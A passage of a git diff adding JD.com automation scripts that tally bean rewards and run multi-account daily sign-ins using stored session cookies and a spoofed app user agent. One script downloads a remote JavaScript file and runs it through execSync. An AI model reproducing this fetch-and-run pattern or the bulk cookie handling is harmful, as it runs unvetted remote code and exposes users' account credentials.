this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_bean_info.js b/jd_bean_info.js new file mode 100644 index 0000000..b55f22e --- /dev/null +++ b/jd_bean_info.js @@ -0,0 +1,282 @@ +const $ = new Env('京豆详情统计'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let allMessage = ''; +let myMap = new Map(); +let allBean = 0; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.beanCount = 0; + $.incomeBean = 0; + $.expenseBean = 0; + $.todayIncomeBean = 0; + $.errorMsg = ''; + $.isLogin = true; + $.nickName = ''; + $.message = ''; + $.balance = 0; + $.expiredBalance = 0; + await TotalBean(); + console.log(`\n********开始【京东账号${$.index}】${$.nickName || $.UserName}******\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await bean(); + await showMsg(); + + } + } + allMessage += `\n今日全部账号收入:${allBean}个京豆 🐶\n` + if ($.isNode() && allMessage) { + await notify.sendNotify(`${$.name}`, `${allMessage}`, { url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` }) + } +})() + .catch((e) => { + // $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function showMsg() { + if ($.errorMsg) return + allMessage += `\n【账号${$.index}:${$.nickName || $.UserName} 京豆详情统计】\n\n`; + allMessage += `今日收入:${$.todayIncomeBean}个京豆 🐶\n` + allBean = allBean + parseInt($.todayIncomeBean) + for (let key of myMap.keys()) { + allMessage += key + ' ---> ' +myMap.get(key)+'京豆 🐶\n' + } + myMap = new Map() + // if ($.isNode()) { + // await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `账号${$.index}:${$.nickName || $.UserName}\n昨日收入:${$.incomeBean}京豆 🐶\n昨日支出:${$.expenseBean}京豆 🐶\n当前京豆:${$.beanCount}京豆 🐶${$.message}`, { url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` }) + // } + // $.msg($.name, '', `账号${$.index}:${$.nickName || $.UserName}\n今日收入:${$.todayIncomeBean}京豆 🐶\n昨日收入:${$.incomeBean}京豆 🐶\n昨日支出:${$.expenseBean}京豆 🐶\n当前京豆:${$.beanCount}(七天将过期${$.expirejingdou})京豆🐶${$.message}`, {"open-url": "https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean", "media-url": "https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png"}); +} +async function bean() { + // console.log(`北京时间零点时间戳:${parseInt((Date.now() + 28800000) / 86400000) * 86400000 - 28800000}`); + // console.log(`北京时间2020-10-28 06:16:05::${new Date("2020/10/28 06:16:05+08:00").getTime()}`) + // 不管哪个时区。得到都是当前时刻北京时间的时间戳 new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000 + + //前一天的0:0:0时间戳 + const tm = parseInt((Date.now() + 28800000) / 86400000) * 86400000 - 28800000 - (24 * 60 * 60 * 1000); + // 今天0:0:0时间戳 + const tm1 = parseInt((Date.now() + 28800000) / 86400000) * 86400000 - 28800000; + let page = 1, t = 0, yesterdayArr = [], todayArr = []; + do { + let response = await getJingBeanBalanceDetail(page); + // console.log(`第${page}页: ${JSON.stringify(response)}`); + if (response && response.code === "0") { + page++; + let detailList = response.detailList; + if (detailList && detailList.length > 0) { + for (let item of detailList) { + const date = item.date.replace(/-/g, '/') + "+08:00"; + if (new Date(date).getTime() >= tm1 && (!item['eventMassage'].includes("退还") && !item['eventMassage'].includes('扣赠'))) { + todayArr.push(item); + } else if (tm <= new Date(date).getTime() && new Date(date).getTime() < tm1 && (!item['eventMassage'].includes("退还") && !item['eventMassage'].includes('扣赠'))) { + //昨日的 + yesterdayArr.push(item); + } else if (tm > new Date(date).getTime()) { + //前天的 + t = 1; + break; + } + } + } else { + $.errorMsg = `数据异常`; + // $.msg($.name, ``, `账号${$.index}:${$.nickName}\n${$.errorMsg}`); + t = 1; + } + } else if (response && response.code === "3") { + // console.log(`cookie已过期,或者填写不规范,跳出`) + t = 1; + } else { + // console.log(`未知情况:${JSON.stringify(response)}`); + // console.log(`未知情况,跳出`) + t = 1; + } + } while (t === 0); + for (let item of yesterdayArr) { + if (Number(item.amount) > 0) { + $.incomeBean += Number(item.amount); + } else if (Number(item.amount) < 0) { + $.expenseBean += Number(item.amount); + } + } + for (let item of todayArr) { + if (Number(item.amount) > 0) { + $.todayIncomeBean += Number(item.amount); + myMap.set(item.eventMassage,0) + } + } + for (let item of todayArr) { + if (Number(item.amount) > 0) { + myMap.set(item.eventMassage,parseInt(myMap.get(item.eventMassage))+parseInt(item.amount)) + } + } + // console.log(myMap) + // await queryexpirejingdou();//过期京豆 + // await redPacket();//过期红包 + // console.log(`今日收入:${$.todayIncomeBean}个京豆 🐶`); + // console.log(`昨日支出:${$.expenseBean}个京豆 🐶`) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Host: "me-api.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + // $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + if (data['retcode'] === '0' && data.data && data.data['assetInfo']) { + $.beanCount = data.data && data.data['assetInfo']['beanNum']; + } + } else { + $.log('京东服务器返回空数据'); + } + } + } catch (e) { + // $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +function getJingBeanBalanceDetail(page) { + return new Promise(async resolve => { + const options = { + "url": `https://api.m.jd.com/client.action?functionId=getJingBeanBalanceDetail`, + "body": `body=${escape(JSON.stringify({"pageSize": "20", "page": page.toString()}))}&appid=ld`, + "headers": { + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Host': 'api.m.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Cookie': cookie, + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + // console.log(`${JSON.stringify(err)}`) + // console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + // console.log(data) + } else { + // console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function queryexpirejingdou() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/activep3/singjd/queryexpirejingdou?_=${Date.now()}&g_login_type=1&sceneval=2`, + "headers": { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Host": "wq.jd.com", + "Referer": "https://wqs.jd.com/promote/201801/bean/mybean.html", + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.1 Mobile/15E148 Safari/604.1" + } + } + $.expirejingdou = 0; + $.get(options, (err, resp, data) => { + try { + if (err) { + // console.log(`${JSON.stringify(err)}`) + // console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data) + data = JSON.parse(data.slice(23, -13)); + // console.log(data) + if (data.ret === 0) { + data['expirejingdou'].map(item => { + // console.log(`${timeFormat(item['time'] * 1000)}日过期京豆:${item['expireamount']}\n`); + $.expirejingdou += item['expireamount']; + }) + // if ($.expirejingdou > 0) { + // $.message += `\n今日将过期:${$.expirejingdou}京豆 🐶`; + // } + } + } else { + // console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + // console.log(e); + // $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_bean_sign.js b/jd_bean_sign.js new file mode 100644 index 0000000..096f32a --- /dev/null +++ b/jd_bean_sign.js @@ -0,0 +1,315 @@ +/* +京东多合一签到,自用,可N个京东账号 +活动入口:各处的签到汇总 +Node.JS专用 +IOS软件用户请使用 https://raw.githubusercontent.com/NobyDa/Script/master/JD-DailyBonus/JD_DailyBonus.js +更新时间:2021-6-18 +推送通知默认简洁模式(多账号只发送一次)。如需详细通知,设置环境变量 JD_BEAN_SIGN_NOTIFY_SIMPLE 为false即可(N账号推送N次通知)。 +Modified From github https://github.com/ruicky/jd_sign_bot + */ +const $ = new Env('京东多合一签到'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const exec = require('child_process').execSync +const fs = require('fs') +const download = require('download'); +let resultPath = "./result.txt"; +let JD_DailyBonusPath = "./JD_DailyBonus.js"; +let outPutUrl = './'; +let NodeSet = 'CookieSet.json'; +let cookiesArr = [], cookie = '', allMessage = '', jrBodyArr = [], jrBody = ''; + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_BEAN_SIGN_BODY) { + if (process.env.JD_BEAN_SIGN_BODY.indexOf('&') > -1) { + jrBodyArr = process.env.JD_BEAN_SIGN_BODY.split('&'); + } else if (process.env.JD_BEAN_SIGN_BODY.indexOf('\n') > -1) { + jrBodyArr = process.env.JD_BEAN_SIGN_BODY.split('\n'); + } else { + jrBodyArr = [process.env.JD_BEAN_SIGN_BODY]; + } + } + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} +!(async() => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + process.env.JD_BEAN_SIGN_NOTIFY_SIMPLE = process.env.JD_BEAN_SIGN_NOTIFY_SIMPLE ? process.env.JD_BEAN_SIGN_NOTIFY_SIMPLE : 'true'; + await requireConfig(); + // 下载最新代码 + await downFile(); + if (!await fs.existsSync(JD_DailyBonusPath)) { + console.log(`\nJD_DailyBonus.js 文件不存在,停止执行${$.name}\n`); + await notify.sendNotify($.name, `本次执行${$.name}失败,JD_DailyBonus.js 文件下载异常,详情请查看日志`) + return + } + const content = await fs.readFileSync(JD_DailyBonusPath, 'utf8') + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.nickName = ''; + $.isLogin = true; + await TotalBean(); + console.log(`*****************开始京东账号${$.index} ${$.nickName || $.UserName}京豆签到*******************\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + jrBody = '' + if (jrBodyArr && jrBodyArr.length) { + for (let key in Object.keys(jrBodyArr)) { + let vo = JSON.parse(jrBodyArr[key]) + if (decodeURIComponent(vo.pin) == $.UserName) { + jrBody = vo.body || '' + } + } + } else { + jrBody = '' + } + await changeFile(content); + await execSign(); + } + } + //await deleteFile(JD_DailyBonusPath);//删除下载的JD_DailyBonus.js文件 + if ($.isNode() && allMessage && process.env.JD_BEAN_SIGN_NOTIFY_SIMPLE === 'true') { + $.msg($.name, '', allMessage); + await notify.sendNotify($.name, allMessage) + } +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) +async function execSign() { + console.log(`\n开始执行 ${$.name} 签到,请稍等...\n`); + try { + // if (notify.SCKEY || notify.BARK_PUSH || notify.DD_BOT_TOKEN || (notify.TG_BOT_TOKEN && notify.TG_USER_ID) || notify.IGOT_PUSH_KEY || notify.QQ_SKEY) { + // await exec(`${process.execPath} ${JD_DailyBonusPath} >> ${resultPath}`); + // const notifyContent = await fs.readFileSync(resultPath, "utf8"); + // console.log(`👇👇👇👇👇👇👇👇👇👇👇LOG记录👇👇👇👇👇👇👇👇👇👇👇\n${notifyContent}\n👆👆👆👆👆👆👆👆👆LOG记录👆👆👆👆👆👆👆👆👆👆👆`); + // } else { + // console.log('没有提供通知推送,则打印脚本执行日志') + // await exec(`${process.execPath} ${JD_DailyBonusPath}`, { stdio: "inherit" }); + // } + await exec(`${process.execPath} ${JD_DailyBonusPath} >> ${resultPath}`); + const notifyContent = await fs.readFileSync(resultPath, "utf8"); + console.error(`👇👇👇👇👇👇👇👇👇👇👇签到详情👇👇👇👇👇👇👇👇👇👇👇\n${notifyContent}\n👆👆👆👆👆👆👆👆👆签到详情👆👆👆👆👆👆👆👆👆👆👆`); + // await exec("node JD_DailyBonus.js", { stdio: "inherit" }); + // console.log('执行完毕', new Date(new Date().getTime() + 8 * 3600000).toLocaleDateString()) + //发送通知 + let BarkContent = ''; + if (fs.existsSync(resultPath)) { + const barkContentStart = notifyContent.indexOf('【签到概览】') + const barkContentEnd = notifyContent.length; + if (process.env.JD_BEAN_SIGN_STOP_NOTIFY !== 'true') { + if (process.env.JD_BEAN_SIGN_NOTIFY_SIMPLE === 'true') { + if (barkContentStart > -1 && barkContentEnd > -1) { + BarkContent = notifyContent.substring(barkContentStart, barkContentEnd); + } + BarkContent = BarkContent.split('\n\n')[0]; + } else { + if (barkContentStart > -1 && barkContentEnd > -1) { + BarkContent = notifyContent.substring(barkContentStart, barkContentEnd); + } + } + } + } + //不管哪个时区,这里得到的都是北京时间的时间戳; + const UTC8 = new Date().getTime() + new Date().getTimezoneOffset()*60000 + 28800000; + $.beanSignTime = new Date(UTC8).toLocaleString('zh', {hour12: false}); + //console.log(`脚本执行完毕时间:${$.beanSignTime}`) + if 